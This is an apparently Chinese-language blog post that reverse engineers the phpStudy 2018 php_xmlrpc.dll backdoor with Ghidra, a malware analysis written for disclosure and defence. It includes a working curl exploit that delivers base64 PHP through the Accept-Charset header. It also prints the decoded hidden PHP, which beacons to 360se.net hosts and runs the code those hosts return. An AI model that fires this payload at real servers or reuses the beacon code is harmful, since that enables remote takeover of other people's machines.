使用 Ghidra 分析 phpStudy 后门
作者：lu4nx@知道创宇404积极防御实验室
作者博客：《使用 Ghidra 分析 phpStudy 后门》
这次事件已过去数日，该响应的也都响应了，虽然网上有很多厂商及组织发表了分析文章，但记载分析过程的不多，我只是想正儿八经用 Ghidra 从头到尾分析下。
1 工具和平台
主要工具：
- Kali Linux
- Ghidra 9.0.4
- 010Editor 9.0.2
样本环境：
- Windows7
- phpStudy 20180211
2 分析过程
先在 Windows 7 虚拟机中安装 PhpStudy 20180211，然后把安装完后的目录拷贝到 Kali Linux 中。
根据网上公开的信息：后门存在于 php_xmlrpc.dll 文件中，里面存在“eval”关键字，文件 MD5 为 c339482fd2b233fb0a555b629c0ea5d5。
因此，先去找到有后门的文件：
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lu4nx@lx-kali:/tmp/phpStudy$ find ./ -name php_xmlrpc.dll -exec md5sum {} \; 3d2c61ed73e9bb300b52a0555135f2f7 ./PHPTutorial/php/php-7.2.1-nts/ext/php_xmlrpc.dll 7c24d796e0ae34e665adcc6a1643e132 ./PHPTutorial/php/php-7.1.13-nts/ext/php_xmlrpc.dll 3ff4ac19000e141fef07b0af5c36a5a3 ./PHPTutorial/php/php-5.4.45-nts/ext/php_xmlrpc.dll c339482fd2b233fb0a555b629c0ea5d5 ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll 5db2d02c6847f4b7e8b4c93b16bc8841 ./PHPTutorial/php/php-7.0.12-nts/ext/php_xmlrpc.dll 42701103137121d2a2afa7349c233437 ./PHPTutorial/php/php-5.3.29-nts/ext/php_xmlrpc.dll 0f7ad38e7a9857523dfbce4bce43a9e9 ./PHPTutorial/php/php-5.2.17/ext/php_xmlrpc.dll 149c62e8c2a1732f9f078a7d17baed00 ./PHPTutorial/php/php-5.5.38/ext/php_xmlrpc.dll fc118f661b45195afa02cbf9d2e57754 ./PHPTutorial/php/php-5.6.27-nts/ext/php_xmlrpc.dll |
将文件 ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll 单独拷贝出来，再确认下是否存在后门：
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lu4nx@lx-kali:/tmp/phpStudy$ strings ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll | grep eval zend_eval_string @eval(%s('%s')); %s;@eval(%s('%s')); |
从上面的搜索结果可以看到文件中存在三个“eval”关键字，现在用 Ghidra 载入分析。
在 Ghidra 中搜索下：菜单栏“Search” > “For Strings”，弹出的菜单按“Search”，然后在结果过滤窗口中过滤“eval”字符串，如图：
从上方结果“Code”字段看的出这三个关键字都位于文件 Data 段中。随便选中一个（我选的“@eval(%s(‘%s’));”）并双击，跳转到地址中，然后查看哪些地方引用过这个字符串（右击，References > Show References to Address），操作如图：
结果如下：
可看到这段数据在 PUSH 指令中被使用，应该是函数调用，双击跳转到汇编指令处，然后 Ghidra 会自动把汇编代码转成较高级的伪代码并呈现在 Decompile 窗口中：
如果没有看到 Decompile 窗口，在菜单Window > Decompile 中打开。
在翻译后的函数 FUN_100031f0 中，我找到了前面搜索到的三个 eval 字符，说明这个函数中可能存在多个后门（当然经过完整分析后存在三个后门）。
这里插一句，Ghidra 转换高级代码能力比 IDA 的 Hex-Rays Decompiler 插件要差一些，比如 Ghidra 转换的这段代码：
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puVar8 = local_19f; while (iVar5 != 0) { iVar5 = iVar5 + -1; *puVar8 = 0; puVar8 = puVar8 + 1; } |
在IDA中翻译得就很直观：
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memset(&v27, 0, 0xB0u); |
还有对多个逻辑的判断，IDA 翻译出来是：
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if (a && b){ ... } |
Ghidra 翻译出来却是：
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if (a) { if(b) { } } |
而多层 if 嵌套阅读起来会经常迷路。总之 Ghidra 翻译的代码只有反复阅读后才知道是干嘛的，在理解这类代码上我花了好几个小时。
2.1 第一个远程代码执行的后门
第一个后门存在于这段代码：
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iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0xd8, s__SERVER_1000ec9c,~uVar6,&local_14); if (iVar5 != -1) { uVar6 = 0xffffffff; pcVar9 = s_HTTP_ACCEPT_ENCODING_1000ec84; do { if (uVar6 == 0) break; uVar6 = uVar6 - 1; cVar1 = *pcVar9; pcVar9 = pcVar9 + 1; } while (cVar1 != '\0'); iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_ENCODING_1000ec84,~uVar6,&local_28 ); if (iVar5 != -1) { pcVar9 = s_gzip,deflate_1000ec74; pbVar4 = *(byte **)*local_28; pbVar7 = pbVar4; do { bVar2 = *pbVar7; bVar11 = bVar2 < (byte)*pcVar9; if (bVar2 != *pcVar9) { LAB_10003303: iVar5 = (1 - (uint)bVar11) - (uint)(bVar11 != false); goto LAB_10003308; } if (bVar2 == 0) break; bVar2 = pbVar7[1]; bVar11 = bVar2 < ((byte *)pcVar9)[1]; if (bVar2 != ((byte *)pcVar9)[1]) goto LAB_10003303; pbVar7 = pbVar7 + 2; pcVar9 = (char *)((byte *)pcVar9 + 2); } while (bVar2 != 0); iVar5 = 0; LAB_10003308: if (iVar5 == 0) { uVar6 = 0xffffffff; pcVar9 = s__SERVER_1000ec9c; do { if (uVar6 == 0) break; uVar6 = uVar6 - 1; cVar1 = *pcVar9; pcVar9 = pcVar9 + 1; } while (cVar1 != '\0'); iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0xd8,s__SERVER_1000ec9c,~uVar6,&local_14); if (iVar5 != -1) { uVar6 = 0xffffffff; pcVar9 = s_HTTP_ACCEPT_CHARSET_1000ec60; do { if (uVar6 == 0) break; uVar6 = uVar6 - 1; cVar1 = *pcVar9; pcVar9 = pcVar9 + 1; } while (cVar1 != '\0'); iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_CHARSET_1000ec60,~uVar6, &local_1c); if (iVar5 != -1) { uVar6 = 0xffffffff; pcVar9 = *(char **)*local_1c; do { if (uVar6 == 0) break; uVar6 = uVar6 - 1; cVar1 = *pcVar9; pcVar9 = pcVar9 + 1; } while (cVar1 != '\0'); local_10 = FUN_100040b0((int)*(char **)*local_1c,~uVar6 - 1); if (local_10 != (undefined4 *)0x0) { iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4); local_24 = *(undefined4 *)(iVar5 + 0x128); *(undefined **)(iVar5 + 0x128) = local_ec; iVar5 = _setjmp3(local_ec,0); uVar3 = local_24; if (iVar5 == 0) { zend_eval_string(local_10,0,&DAT_10012884,param_3); } else { *(undefined4 *) (*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = local_24; } *(undefined4 *) (*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = uVar3; } } } } } } |
阅读起来非常复杂，大概逻辑就是通过 PHP 的 zend_hash_find 函数寻找 $_SERVER 变量，然后找到 Accept-Encoding 和 Accept-Charset 两个 HTTP 请求头，如果 Accept-Encoding 的值为 gzip,deflate，就调用 zend_eval_string 去执行 Accept-Encoding 的内容：
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zend_eval_string(local_10,0,&DAT_10012884,param_3); |
这里 zend_eval_string 执行的是 local_10 变量的内容，local_10 是通过调用一个函数赋值的：
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local_10 = FUN_100040b0((int)*(char **)*local_1c,~uVar6 - 1); |
函数 FUN_100040b0 最后分析出来是做 Base64 解码的。
到这里，就知道该如何构造 Payload 了：
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Accept-Encoding: gzip,deflate Accept-Charset: Base64加密后的PHP代码 |
朝虚拟机构造一个请求：
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$ curl -H "Accept-Charset: $(echo 'system("ipconfig");' | base64)" -H 'Accept-Encoding: gzip,deflate' 192.168.128.6 |
结果如图：
2.2 第二处后门
沿着伪代码继续分析，看到这一段代码：
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if (iVar5 == 0) { puVar8 = &DAT_1000d66c; local_8 = &DAT_10012884; piVar10 = &DAT_1000d66c; do { if (*piVar10 == 0x27) { (&DAT_10012884)[iVar5] = 0x5c; (&DAT_10012885)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 2; piVar10 = piVar10 + 2; } else { (&DAT_10012884)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 1; piVar10 = piVar10 + 1; } puVar8 = puVar8 + 1; } while ((int)puVar8 < 0x1000e5c4); spprintf(&local_20,0,s_$V='%s';$M='%s';_1000ec3c,&DAT_100127b8,&DAT_10012784); spprintf(&local_8,0,s_%s;@eval(%s('%s'));_1000ec28,local_20,s_gzuncompress_1000d018, local_8); iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4); local_10 = *(undefined4 **)(iVar5 + 0x128); *(undefined **)(iVar5 + 0x128) = local_6c; iVar5 = _setjmp3(local_6c,0); uVar3 = local_10; if (iVar5 == 0) { zend_eval_string(local_8,0,&DAT_10012884,param_3); } else { *(undefined4 **) (*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = local_10; } *(undefined4 *)(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = uVar3; return 0; } |
重点在这段：
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puVar8 = &DAT_1000d66c; local_8 = &DAT_10012884; piVar10 = &DAT_1000d66c; do { if (*piVar10 == 0x27) { (&DAT_10012884)[iVar5] = 0x5c; (&DAT_10012885)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 2; piVar10 = piVar10 + 2; } else { (&DAT_10012884)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 1; piVar10 = piVar10 + 1; } puVar8 = puVar8 + 1; } while ((int)puVar8 < 0x1000e5c4); |
变量 puVar8 是作为累计变量，这段代码像是拷贝地址 0x1000d66c 至 0x1000e5c4 之间的数据，于是选中切这行代码：
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puVar8 = &DAT_1000d66c; |
双击 DAT_1000d66c，Ghidra 会自动跳转到该地址，然后在菜单选择 Window > Bytes 来打开十六进制窗口，现已处于地址 0x1000d66c，接下来要做的就是把 0x1000d66c~0x1000e5c4 之间的数据拷贝出来：
- 选择菜单 Select > Bytes；
- 弹出的窗口中勾选“To Address”，然后在右侧的“Ending Address”中填入 0x1000e5c4，如图：
按回车后，这段数据已被选中，我把它们单独拷出来，点击右键，选择 Copy Special > Byte String (No Spaces)，如图：
然后打开 010Editor 编辑器：
- 新建文件：File > New > New Hex File；
- 粘贴拷贝的十六进制数据：Edit > Paste From > Paste from Hex Text
然后，把“00”字节全部去掉，选择 Search > Replace，查找 00，Replace 那里不填，点“Replace All”，处理后如下：
把处理后的文件保存为 p1。通过 file 命令得知文件 p1 为 Zlib 压缩后的数据：
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$ file p1 p1: zlib compressed data |
用 Python 的 zlib 库就可以解压，解压代码如下：
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import zlib with open("p1", "rb") as f: data = f.read() print(zlib.decompress(data)) |
执行结果如下：
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lu4nx@lx-kali:/tmp$ python3 decom.py b"$i='info^_^'.base64_encode($V.'<|>'.$M.'<|>').'==END==';$zzz='-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------';@eval(base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZm9bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZm9yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZC4iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZm9bM10pKTsKCX0KfXdoaWxlKCRuKTs='));" |
用 base64 命令把这段 Base64 代码解密，过程及结果如下：
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lu4nx@lx-kali:/tmp$ echo 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZm9bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZm9yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZC4iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZm9bM10pKTsKCX0KfXdoaWxlKCRuKTs=' | base64 -d @ini_set("display_errors","0"); error_reporting(0); function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){ $result = ""; $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); if( !$handle ){ $handle = fsockopen($ip, intval($port), $errno, $errstr, 5); if( !$handle ){ return "err"; } } fwrite($handle, $sendMsg."\n"); while(!feof($handle)){ stream_set_timeout($handle, 2); $result .= fread($handle, 1024); $info = stream_get_meta_data($handle); if ($info['timed_out']) { break; } } fclose($handle); return $result; } $ds = array("www","bbs","cms","down","up","file","ftp"); $ps = array("20123","40125","8080","80","53"); $n = false; do { $n = false; foreach ($ds as $d){ $b = false; foreach ($ps as $p){ $result = tcpGet($i,$d.".360se.net",$p); if ($result != "err"){ $b =true; break; } } if ($b)break; } $info = explode("<^>",$result); if (count($info)==4){ if (strpos($info[3],"/*Onemore*/") !== false){ $info[3] = str_replace("/*Onemore*/","",$info[3]); $n=true; } @eval(base64_decode($info[3])); } }while($n); |
2.3 第三个后门
第三个后门和第二个实现逻辑其实差不多，代码如下：
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puVar8 = &DAT_1000d028; local_c = &DAT_10012884; iVar5 = 0; piVar10 = &DAT_1000d028; do { if (*piVar10 == 0x27) { (&DAT_10012884)[iVar5] = 0x5c; (&DAT_10012885)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 2; piVar10 = piVar10 + 2; } else { (&DAT_10012884)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 1; piVar10 = piVar10 + 1; } puVar8 = puVar8 + 1; } while ((int)puVar8 < 0x1000d66c); spprintf(&local_c,0,s_@eval(%s('%s'));_1000ec14,s_gzuncompress_1000d018,&DAT_10012884); iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4); local_18 = *(undefined4 *)(iVar5 + 0x128); *(undefined **)(iVar5 + 0x128) = local_ac; iVar5 = _setjmp3(local_ac,0); uVar3 = local_18; if (iVar5 == 0) { zend_eval_string(local_c,0,&DAT_10012884,param_3); } |
重点在这段：
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puVar8 = &DAT_1000d028; local_c = &DAT_10012884; iVar5 = 0; piVar10 = &DAT_1000d028; do { if (*piVar10 == 0x27) { (&DAT_10012884)[iVar5] = 0x5c; (&DAT_10012885)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 2; piVar10 = piVar10 + 2; } else { (&DAT_10012884)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 1; piVar10 = piVar10 + 1; } puVar8 = puVar8 + 1; } while ((int)puVar8 < 0x1000d66c); |
后门代码在地址 0x1000d028~0x1000d66c 中，提取和处理方法与第二个后门的一样。找到并提出来，如下：
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lu4nx@lx-kali:/tmp$ python3 decom.py b" @eval( base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ=='));" |
把这段Base64代码解码：
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1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
lu4nx@lx-kali:/tmp$ echo 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ==' | base64 -d @ini_set("display_errors","0"); error_reporting(0); $h = $_SERVER['HTTP_HOST']; $p = $_SERVER['SERVER_PORT']; $fp = fsockopen($h, $p, $errno, $errstr, 5); if (!$fp) { } else { $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n"; $out .= "Host: {$h}\r\n"; $out .= "Accept-Encoding: compress,gzip\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); fclose($fp); } |
3 参考
- https://github.com/jas502n/PHPStudy-Backdoor
- 《phpStudy 遭黑客入侵植入后门事件披露 | 微步在线报告》
- 《PhpStudy 后门分析》，作者：Hcamael@知道创宇 404 实验室
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